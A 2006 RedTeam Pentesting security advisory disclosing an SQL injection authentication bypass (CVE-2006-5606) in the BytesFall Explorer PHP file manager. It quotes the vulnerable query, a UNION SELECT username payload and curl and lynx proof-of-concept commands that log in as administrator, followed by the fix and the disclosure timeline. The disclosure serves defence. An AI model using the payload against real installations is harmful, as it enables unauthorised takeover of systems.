Kontakt

Kontaktieren Sie uns gerne

+49 241 510081-0
kontakt@redteam-pentesting.de
Kontaktformular
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header

Authentication bypass in BytesFall Explorer

A malicious user can bypass authentication and take over the role of the administrator of BytesFall Explorer by using an SQL injection. Several other SQL injections are possible.

Details

  • Product: BytesFall Explorer
  • Affected Versions: <= 0.0.7.1
  • Fixed Versions: 0.0.7.2
  • Vulnerability Type: SQL injection
  • Security-Risk: medium
  • Vendor-URL: http://bfexplorer.sourceforge.net
  • Vendor-Status: informed, fixed version released
  • Advisory-URL: https://www.redteam-pentesting.de/advisories/rt-sa-2006-007
  • Advisory-Status: public
  • CVE: CVE-2006-5606
  • CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5606

Introduction

BytesFall Explorer is a web-based file manager programmed in PHP and JavaScript and licensed under the GNU GPL. It allows to upload, download, view, edit, copy, move/rename and change permissions of a single file/directory or a group of files/directories.

More Details

Because of missing user input sanitizations a malicious user can modify an SQL query in login/doLogin.php, line 13:

13   $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';",
$tables_preffix, $username));

By using the username

' union select
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from
bfe_users where ''='

and password ‘redteam’ a user can login and take over the role of the administrator of BytesFall Explorer.

Many other SQL injections in other files exist that can be exploited.

Proof of Concept

Using curl:

curl -i http://www.example.com/bfExplorer/login/doLogin.php --data-binary
"username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam"

or lynx:

printf "username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data
http://www.example.com/bfExplorer/login/doLogin.php

Workaround

Use PHP Magic Quotes.

Fix

Use PHP’s mysql_escape_string() to sanitize variables containing user input before using them in MySQL queries. A fixed version 0.0.7.2 of BytesFall Explorer is available.

Security Risk

RedTeam considers the security risc medium. BytesFall Explorer can be compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes do not represent real security, they are a workaround for these problems.

History

  • 2006-10-26 Discovery of the vulnerabilities
  • 2006-10-26 Vendor is informed
  • 2006-10-26 Vendor releases fixed version
  • 2006-10-31 Advisory released
  • 2009-05-08 Updated Advisory URL

RedTeam

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam wants to share its knowledge and enhance the public knowledge with research in security related areas. The results are made available as public security advisories.

More information about RedTeam can be found at https://www.redteam-pentesting.de.